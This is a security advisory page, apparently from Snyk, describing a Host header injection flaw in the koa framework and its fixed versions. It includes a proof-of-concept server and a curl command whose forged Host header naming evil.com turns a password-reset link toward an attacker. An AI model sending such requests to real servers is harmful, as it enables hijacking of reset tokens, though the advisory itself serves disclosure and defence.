HTTP Header Injection Affecting koa package, versions <2.16.4>=3.0.0-alpha.0 <3.1.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-JS-KOA-15353398
- published26 Feb 2026
- disclosed26 Feb 2026
- creditPeyton Kennedy
Introduced: 26 Feb 2026
NewCVE-2026-27959 (opens in a new tab)How to fix?
Upgrade koa to version 2.16.4, 3.1.2 or higher.
Overview
koa is a Koa web app framework
Affected versions of this package are vulnerable to HTTP Header Injection via the hostname function in the. request.js file. An attacker can manipulate the value hostname by sending a specially crafted HTTP Host header containing an @ symbol, which can lead to the generation of attacker-controlled URLs or influence routing decisions.
PoC
Setup: `` js // server.js const Koa = require('koa'); const app = new Koa();
// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
if (ctx.path === '/forgot-password') {
const resetToken = 'abc123securtoken';
const resetUrl = ${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken};
ctx.body = {
message: 'Password reset link generated',
resetUrl: resetUrl,
debug: {
rawHost: ctx.get('Host'),
parsedHostname: ctx.hostname,
origin: ctx.origin,
protocol: ctx.protocol
}
};
} });
app.listen(3000, () => console.log('Server on http://localhost:3000'));
Exploit:
curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password ```